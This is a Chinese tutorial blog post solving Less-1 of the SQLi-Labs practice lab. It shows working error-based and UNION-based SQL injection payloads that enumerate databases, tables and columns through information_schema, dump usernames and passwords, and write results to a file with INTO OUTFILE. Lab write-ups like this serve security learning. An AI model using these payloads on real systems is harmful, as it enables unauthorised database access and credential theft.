SQLi-Labs 練習(xí)總結(jié) Page-1 Less-1

SQLi-LABS 練習(xí)總結(jié)

Page-1 基礎(chǔ)練習(xí)

寫在前面:SQL注入是一個需要不斷嘗試的過程,其中可能出現(xiàn)很多問題才能有一次成功,不要心急,多嘗試,多學(xué)習(xí),多總結(jié)。

Less-1 GET-Error based-single quotes-String

分析所給提示:

  • 根據(jù)報錯信息;
  • 單引號;
  • 字符型。

為了學(xué)習(xí)的目的,盡可能的多做一些嘗試:

(1)確定問題參數(shù)和漏洞類型

原頁面

在URL中輸入id參數(shù) ?id=1',返回報錯信息: Erreur de syntaxe pr?s de '''' LIMIT 0,1' ? la ligne 1

關(guān)于回顯問題,可用設(shè)置語言包將其調(diào)成英文模式,具體操作: 直通車

Paste_Image.png

從錯誤信息中可以看出,這是一個字符型(''1''),且限定只輸出1行(LIMT 0,1)。
可用的注入方式:
?id=1 這是一個正常的查詢過程。為了學(xué)習(xí)SQL注入,并不使用它來查詢。
?id= ' or '1'='1
?id= ' or 1=1 %23
%23是 # 的URL編碼,#是MySQL的注釋符。在我嘗試過程中,直接輸入#依舊會報錯,%23則能正確輸出。還有一種注釋方法:
?id=' or 1=1 --+

確定問題參數(shù)和漏洞類型:id參數(shù),字符型漏洞

(2)確定字段數(shù)

只有確定了字段數(shù),才可以使用union這個關(guān)鍵詞連接我們的查詢語句。可以采用order by 來確定字段數(shù)。
如:?id=1’ order by 1 %23
表示通過第一字段的順序進行排序,當輸入order by x報錯時,就說明沒有這個字段,就可以得到輸出的字段數(shù)了。在這個系統(tǒng)中,經(jīng)過測試,輸出字段數(shù)為3.

Paste_Image.png
Paste_Image.png

查看一下本地的數(shù)據(jù)庫:

Paste_Image.png

確實只有三個字段,分別為id、username、password。

(3)判斷能在頁面顯示的字段。

接下來,使用union語句來判斷各字段的類型以及判斷能夠在頁面顯示的字段。

?id=-1' union select 1,2,3 %23

注意:這里的id= -1,使它不返回其他信息,執(zhí)行后面的語句。

Paste_Image.png

從中看出能在頁面上顯示的是第2,3字段。

(4)確定數(shù)據(jù)庫

確定當前使用的數(shù)據(jù)庫

現(xiàn)在我們已經(jīng)知道了輸出的字段數(shù)了,可以使用union這個關(guān)鍵詞了。首先試試確定數(shù)據(jù)庫的名字,設(shè)計如下payload:

?id=-1’ union select 1,database(),3 %23 

回顯如圖:

Paste_Image.png

從而知道了當前使用的數(shù)據(jù)庫的名字是 security。

爆出所有數(shù)據(jù)庫

還有一種方法,可以爆出所有的數(shù)據(jù)庫名,payload:

?id=-1' union select 1,group_concat(SCHEMA_NAME),3 
from information_schema.SCHEMATA%23
Paste_Image.png

紅線部分即為MySQL中的所有數(shù)據(jù)庫。

說明:
?id=-1' union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA%23在實際中有時候也可以,表示選擇information_schema數(shù)據(jù)庫中,SCHEMATA這個表的SCHEMA_NAME字段的值。關(guān)于information_schema這個數(shù)據(jù)庫,有興趣可以再查資料。
在這里不行的原因是它返回的是一個數(shù)組,分為一個一個的字符串,在這里只能顯示第一個字符串,即information_schema。

Paste_Image.png

GROUP_CONCAT(expr) 該函數(shù)返回帶有來自一個組的連接的非NULL值的字符串結(jié)果。在這里,這個函數(shù)將原先返回的字符串數(shù)組拼接成一個完整的字符串輸出。

(5)數(shù)據(jù)表

Payload:

?id=-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security'%23
Paste_Image.png

這個就不分析了,就是從TABLES表中將TABLE_SCHEMA字段中名為security的數(shù)據(jù)全部返回。 可以通過phpmyadmin等工具查看本地數(shù)據(jù)庫中內(nèi)容。

(6)字段名

Payload:

?id=-1' union select 1,group_concat(COLUMN_NAME),3 
from information_schema.COLUMNS 
where TABLE_NAME = 'users' and TABLE_SCHEMA = 'Security'%23

注意:如果你要精確的查出某表的字段名,你就需要加兩個限定條件,TABLE_NAME = 'users'指定查找名為users表中的字段,由于可能存在多個數(shù)據(jù)庫,查出來的數(shù)據(jù)可能比該表的真實字段多;所以再加上一個限定條件,TABLE_SCHEMA = 'Security' 指定數(shù)據(jù)庫為Security。
字段名為:id,username,password。

Paste_Image.png

(7)確定字段類型

?id=-1' union select 1,group_concat(DATA_TYPE),3 
from information_schema.COLUMNS where TABLE_NAME = 'users' 
and TABLE_SCHEMA = 'security'%23

從中看出對應(yīng)的字段類型:id為int型,username為varchar型,password為varchar型。


Paste_Image.png

(8)查詢字段內(nèi)容

?id=-1' union select 1,username,password from users where id=3%23

這里限制了輸出,可以通過指定id的方式逐條查詢。

Paste_Image.png

通過指定id查詢記錄數(shù),得知id最大到14,其中id=13項缺失,所以也可以仿造前面的方法,直接查看全部數(shù)據(jù)。注意這只能用在小數(shù)據(jù)量的表中。

?id=-1' union select 1,group_concat(username),group_concat(password) from users %23
Paste_Image.png

(9)拖庫

?id=-1' union select 1,username,password from users 
into outfile 'e:/user.txt'%23

將查詢記錄輸出到e:/user.txt文件中。

Paste_Image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容